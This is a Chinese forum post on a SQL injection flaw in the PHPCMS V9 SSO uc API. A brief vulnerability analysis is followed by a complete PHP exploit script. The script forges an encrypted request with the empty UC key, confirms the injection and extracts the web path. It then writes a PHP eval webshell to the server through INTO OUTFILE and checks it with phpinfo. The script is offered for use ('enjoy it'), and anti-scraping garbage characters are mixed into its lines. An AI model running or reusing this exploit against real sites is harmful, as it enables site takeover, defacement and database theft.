找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! j$ N# g; v0 O0 R/ i; u4 T0 w! T2 H! u
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
' B) |+ e4 W5 n$ V7 ~. {& V/ O2 f- [/ `# U7 f& O# L, N( O
漏洞分析:
. e& M% R/ a+ z4 w1.未启用ucenter服务的情况下uc_key为空! c) S, r; O8 b4 S
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
6 |5 S/ {3 y9 n  ^2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
8 v; ^% @) Q( {5 T8 ]0 d    public function deleteuser($get,$post) {
0 J* ^* `3 T* v/ S        pc_base::load_app_func('global', 'admin');% U' d# F2 K5 U, I
        pc_base::load_app_class('messagequeue', 'admin' , 0);
: x; G. y7 }* A& h" y- H        $ids = new_stripslashes($get['ids']);9 x0 ^, M5 N% a. `* d
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");( G$ J3 p/ d; Z- c6 E) u. q
SQL语句为
  @- k- _, ~0 y, z1 KSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 U4 q; D: r! A" }- n& M# F$ f* [& S/ H" ]8 u+ `3 C
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell# `# k+ s' c0 m' ~
<?php9 }5 `5 k: O1 |( s6 X9 `
print_r('
  d+ U6 E7 d; K! p* l---------------------------------------------------------------------------
, a2 K1 A# b1 ~% l! Q. |, l8 s( FPHPcms (v9 or Old Version) uc api sql injection 0day& J! S/ j+ M: R  M: l4 W7 j
by rayh4c#80sec.com# B, U) D6 m" r+ Z/ q& _: p
---------------------------------------------------------------------------* ?) z8 z8 C2 S& a% P$ ^( ~9 N& C* w
');. t% _7 }7 B0 y& x# }. G$ S$ f

) q% y  S/ D: M# xif ($argc<3) {
6 U6 @8 }4 h; _    print_r('
1 m; P) h, j: ?6 a  ?& f: D( x( s---------------------------------------------------------------------------" Y. s1 t/ c9 f6 m3 j% j" D
Usage: php '.$argv[0].' host path OPTIONS8 Q$ H' E) H  L7 d/ ?7 C' Z6 D* p
host:      target server (ip/hostname)0 I! d7 A1 [% D% D6 {0 T
path:      path to phpcms
. C( @( E9 k/ x, l3 I' Y" wOptions:
( P. d) f' l' H/ u5 {  S -p[port]:    specify a port other than 80; x4 |' \4 X! m  w% y
-P[ip:port]: specify a proxy
8 c9 e+ n, l/ \: gExample:% h% r. r/ _+ g) W' W
php '.$argv[0].' localhost /
4 M. V0 }/ G$ o6 Uphp '.$argv[0].' localhost /phpcms/ -p81
- J! y" U8 F/ A4 H# |* Y( l" n% w% Jphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80( h( |# @+ A6 z( ]) ?) u/ d4 E/ H
---------------------------------------------------------------------------
% w2 b# }3 D' N');/ h% `4 o2 J% A2 }! x' F' P
    die;3 T3 O  v1 E+ F" j
}
1 C& X8 j" u, Z$ ^/ ^5 I6 T8 T1 u. h& o$ c. J1 J8 m+ K
error_reporting(7);' C1 d& h1 G. u
ini_set("max_execution_time",0);# z; o5 {3 Z# k% {4 q* Q5 ?) S$ j9 x
ini_set("default_socket_timeout",5);1 |& B" S" s+ m* q

; n) m2 H6 ^$ Lfunction quick_dump($string)
2 U$ u2 R3 b# I, m3 I0 K{
9 K/ u8 s$ E. T! i$ I2 i  $result='';$exa='';$cont=0;
! w9 z# L; _% j  for ($i=0; $i<=strlen($string)-1; $i++)
. R3 [8 J& ]7 L2 B/ m  {
+ c* g% i6 \8 q8 t" W/ W: P4 U   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )). o3 p3 h, ?6 R2 t& F$ B% V
   {$result.="  .";}8 p: R' x- V$ C- t7 n- B" Q
   else
, M! W& x& d5 Q$ x" G1 p* y   {$result.="  ".$string[$i];}
# `5 w& u6 ]# _: Y   if (strlen(dechex(ord($string[$i])))==2)7 t$ U9 x& e1 U# O
   {$exa.=" ".dechex(ord($string[$i]));}
3 s) D( T6 a- _/ w8 x( f; u   else* o' S/ Y7 ^  ?! I- s0 u
   {$exa.=" 0".dechex(ord($string[$i]));}7 x# X& @0 c) h+ Y/ j
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}" l+ g4 p5 I5 m2 R
  }
# O' S' f4 Z) t5 V+ b- F return $exa."\r\n".$result;
  O0 w+ X3 Q' J}/ P: x# f1 e/ a) X2 {
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
: `" K9 r# O& L8 A. A5 _( L9 {. F
' ~7 {; u! C+ f3 ]- ?function send($packet)# i# S/ X! i2 Q) M
{
( o5 i6 J5 ]# E; O  global $proxy, $host, $port, $html, $proxy_regex;( L, ?% I4 I  h* f9 c2 Z; ^
  if ($proxy=='') {
% g' Q6 g8 t6 ^7 m. g0 M+ X* s; U    $ock=fsockopen(gethostbyname($host),$port);5 Q7 p/ V2 l% M' V" Q6 m1 Z. M
    if (!$ock) {8 _! e$ L( g7 d3 l
      echo 'No response from '.$host.':'.$port; die;
5 i5 B. g' j2 E4 F    }) ]8 E4 W6 f0 Y5 d* R/ l& M
  }
1 b( G* I1 E+ w5 h5 c* P3 B  else {' o: i/ D& B) P8 T6 }) n: O' L
        $c = preg_match($proxy_regex,$proxy);
9 y5 w* V% m4 y: u4 p1 b0 R1 D0 k    if (!$c) {
* t( e4 g% Y7 y. _- y      echo 'Not a valid proxy...';die;
, B% C5 I* B; j1 Q3 d$ b    }
5 b5 I2 M- j, N4 }    $parts=explode(':',$proxy);/ r# l5 k1 j! K
    $parts[1]=(int)$parts[1];
2 [# G+ y3 j, ]9 @  ~% ~    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";! d5 p; u1 g: [8 O. e
    $ock=fsockopen($parts[0],$parts[1]);+ }9 L' g2 G, c( U+ f6 x6 k5 B& ^
    if (!$ock) {
+ u5 e+ g* g$ Z      echo 'No response from proxy...';die;
+ N/ B0 n* T+ i/ j2 A& x( s, a1 D        }
( }2 C( ?- ?; {3 |& t  }
) h2 z. D/ ~( X  f# x& c  fputs($ock,$packet);. `+ c, G8 A0 z4 r. F" d+ N) b$ f0 g2 |2 j
  if ($proxy=='') {5 s/ L8 A5 ^; T8 w8 b/ W
    $html='';0 l! J4 V5 S: {5 s: e/ w- F
    while (!feof($ock)) {
( r: q) l/ N2 h/ t( O9 S% X! w      $html.=fgets($ock);
9 q# R1 p+ i' R1 G" X/ i' q    }% n1 X; U6 R. P* _7 w5 c5 x
  }
; b2 |' @, Z! A# d4 G/ q6 D1 N6 T  else {
3 K* F" h3 ~* G) D% |. W    $html='';- V# F" ~( \) V5 R2 G4 {3 f) d1 N
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {( @3 L( d. Y: {. H# J$ \; c2 p# a
      $html.=fread($ock,1);. D  Y; l3 @7 D- m8 `/ s
    }
) i2 k1 c: `# B1 f# o% z3 c/ Y  }
1 t% F1 d2 a8 m$ r, x( [$ e0 y8 J  fclose($ock);+ i+ [$ E, v' u1 B
}2 O% q3 H' r' C$ `
9 F/ |- e: s$ z4 @" v% s2 E6 d
$host=$argv[1];  l! j/ {! ]- f1 _
$path=$argv[2];
$ c/ {' m8 G# t& Q) [% Y$port=80;: C  E$ d5 J1 m
$proxy="";
( K8 ?+ G1 _! q& m- ~: P6 Rfor ($i=3; $i<$argc; $i++){) ?3 g) l; N! w4 x' E
$temp=$argv[$i][0].$argv[$i][1];
( t# T. `! i6 O/ s  F% U, x) W; A( i) @# ~if ($temp=="-p")
7 ?8 Z. E5 l% t: `; O{$ t; ^4 }& H% b* z. c- ?
  $port=(int)str_replace("-p","",$argv[$i]);
* M5 {+ P6 Z& [6 F}
- Y) ~8 q; ]( _if ($temp=="-P")
- k+ |6 R7 E( B* r: B8 K0 q{5 }9 [3 M$ y, f; Y
  $proxy=str_replace("-P","",$argv[$i]);
  L5 R' E" V! o' _1 P}
* ^1 F9 C; V9 P' G+ b! G; g- \$ N% I; W}/ _- ^# {2 I$ O3 @
) ?5 i: x' w1 q+ b. X. R0 [! ?
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
3 ?) b& r7 [$ yif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
* V: v, Z; w; O, X/ w
9 V* f9 I# d. i! V+ s+ |5 Jfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {, X$ b9 l- V" t4 W

4 f# w( [; i& {$ P: m* R& y$ g    $ckey_length = 4;
8 j5 E6 E2 ?; g3 u2 h
9 o* i. X5 |' D0 }    $key = md5($key ? $key : '');
+ B# |# e- p' u, t$ }0 K    $keya = md5(substr($key, 0, 16));
* h3 Z! z1 x  P6 p6 d8 E9 ~    $keyb = md5(substr($key, 16, 16));
' h. B/ `, Q- S! O) [9 E    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
: Z. K( h5 ]2 @2 F& ]! S) |7 [% j3 c
    $cryptkey = $keya.md5($keya.$keyc);
, X4 v, R' f, |% b+ k* D+ ?    $key_length = strlen($cryptkey);6 c- ~0 q7 \. B9 a0 U, x& m
, V. {$ B! c6 {( `
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
4 R2 u' w. c2 q* a( _, G+ P: I    $string_length = strlen($string);
. N' [$ E2 Y; U, a( n; I% W( ]- |2 y
    $result = '';- w6 w9 A4 Q, A3 g1 f  K! ~
    $box = range(0, 255);: E4 u7 Q8 X. b) M
. Q2 G" i# h; D* ~8 s/ Z3 l
    $rndkey = array();: G1 D, A3 {9 D* W) p1 I
    for($i = 0; $i <= 255; $i++) {
7 B& {& @: I- W+ Q0 x        $rndkey[$i] = ord($cryptkey[$i % $key_length]);* I5 J' M3 N' X
    }7 H: z6 V" ?- v& W

/ a" f# |# u& Z% c8 K0 ^    for($j = $i = 0; $i < 256; $i++) {
/ g3 E3 I: e1 x        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
8 w  a7 L. ]9 A3 O# i5 ]        $tmp = $box[$i];
4 b) Y: l0 C9 ?0 A' T1 f        $box[$i] = $box[$j];
7 }2 Q4 d& |  n* J# U        $box[$j] = $tmp;
1 T, X* n: _+ k4 Z) q/ H    }& x) P0 ?1 r0 P  A  r
7 Z. F" ]+ M$ y  O) @# G# t! X, D  c
    for($a = $j = $i = 0; $i < $string_length; $i++) {
3 `9 r" S: u& _' m% U* n        $a = ($a + 1) % 256;; O' c# ~6 c7 O% I3 ?8 w! V
        $j = ($j + $box[$a]) % 256;
0 U- B$ S. B) C& C, ]        $tmp = $box[$a];
' Z/ O/ i# R$ l8 l2 R+ M8 F        $box[$a] = $box[$j];$ X, j' j' }4 K- N
        $box[$j] = $tmp;
8 ?" n& I7 \) i' z        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
& J! \: w. h' H    }! }+ b6 B' x6 ]/ P  f

2 N$ J2 D8 Y% J% f2 T    if($operation == 'DECODE') {0 u, p( ~" @5 x3 _$ h
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
. p- \+ ]- H2 F7 @! \            return substr($result, 26);2 Q) |; a3 ^+ h+ }! S
        } else {
: f3 q+ o* ^# m; k' V" d            return '';( t1 x6 [+ z( q; ^: ]' g
        }* ?3 M; h2 h: S: x  H3 B, R3 U
    } else {5 q# K+ p1 n$ V) K$ ^2 [7 F
        return $keyc.str_replace('=', '', base64_encode($result));; v# f$ w* b/ r, R0 F
    }3 o4 a: x8 B: K) k9 D6 r

, r7 p: |/ g' y9 X6 x$ b& c2 u}. J  g2 M" T6 c# R: H  z

7 r. J# `* Q2 Z- S0 ^$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
  @% z7 q# _2 |/ u) Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));* _7 ~# m& [& g
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";+ e/ D; M* J! F$ @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";% H  L4 d! y$ M; h# ~
$packet.="User-Agent: Mozilla/5.0\r\n";+ Y4 H) X4 g3 U+ K( u# C
$packet.="Host: ".$host."\r\n";- l: ]: g4 l1 O8 O& Y
$packet.="Connection: Close\r\n\r\n";
* ?+ _6 Z1 t$ ]send($packet);8 t- t4 _  E9 S" F' K) V8 ?+ a5 Q
if(strpos($html,"MySQL Errno") > 0){& z3 g+ U. m& D2 ?0 Z
echo "[2] 发现存在SQL注入漏洞"."\n";1 r% V6 L+ H+ ?! W& R2 {- W' y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";  k; t- P$ o+ Q% v2 S
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
* _- h9 f& H* {4 S8 V! [/ r$packet.="User-Agent: Mozilla/5.0\r\n";
1 Z/ V& D. W& ]$ o) K$packet.="Host: ".$host."\r\n";
$ s1 `+ I, Q( e6 H3 t' O" n5 Y4 o$ m$packet.="Connection: Close\r\n\r\n";
( f# v  F  V& b% csend($packet);; U; E0 \8 g6 z8 ]! y3 H# d. M2 E2 ?
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);# o6 C# B& L5 Z; k* x% v. q
//print_r($matches);! ^2 d( H7 x7 y$ ~
if(!empty($matches)){
! V  U/ m1 ^$ K- j5 H- h+ M, Gecho "[4] 得到web路径 " . $matches[0]."\n";
( s! @0 w0 d8 B! techo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
; _5 k6 X  j7 ^5 O0 o/ L! Q$SQL = "time=999999999999999999999999&ids=1)";
* f; l5 ~( O* {9 {$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
7 w6 Q- L* s: ~& u( h& T5 F% k% L) C$SQL.="&action=deleteuser";
4 B! g# z+ q9 J$ ~$ U) r  ]$SQL = urlencode(authcode($SQL, "ENCODE", ""));
, P3 d# r" Y8 U% x0 S6 ?# y5 becho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 `6 U' E' \- s$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* L  l: u+ x8 }9 ?
$packet.="User-Agent: Mozilla/5.0\r\n";6 U  O  v2 R$ Z
$packet.="Host: ".$host."\r\n";0 D7 `: [# t: l
$packet.="Connection: Close\r\n\r\n";
8 K! f0 ?8 H7 m7 q2 d) k1 tsend($packet);' s% Q# P. L$ S7 k& S
if(strpos($html,"Access denied") > 0){1 x, Y' w# ~( c! ~: N
echo "[-] MYSQL权限过低 禁止写入文件 ";
0 K0 u2 P( W, U, ?# ?6 pdie;
7 J( d7 W- o! @  W" ]- q" V}
/ z" m: i4 |  {) c: n' B( necho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 g" O7 H! X- j) o0 p! X& b
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
7 ~* r1 Y/ ?7 k7 A) f% w$packet.="User-Agent: Mozilla/5.0\r\n";
- |2 {) b7 A5 M. w7 T$packet.="Host: ".$host."\r\n";! [2 ?2 j3 w% u6 B( n2 h
$packet.="Connection: Close\r\n\r\n";
3 c8 M# M" N% w, [1 \; Y! W5 A. Usend($packet);; k# {$ [1 v- k$ ]: K
if(strpos($html,"<title>phpinfo()</title>") > 0){: g, {, s/ S! Y4 w4 y- X2 k+ C
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";/ t5 e; l" D5 Q
}) ^& F. `- K3 P% X. H6 n2 H
}else{$ F0 W' H* m% n5 R/ p4 s* Y! r$ p
echo "[-]未取到web路径 ";
3 t; ]9 x* v# E  F/ ]# N}
! r5 H+ }3 e+ d}else{
4 {/ z( f1 x$ @2 Uecho "[*]不存在SQL注入漏洞"."\n";
# q! i! m; o* H8 U; W5 e}/ v- T2 L. ^, {' Q' ?2 B; L
- Y: l) m* v* I( W& _/ d
?>
! ~$ r- U! T( w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表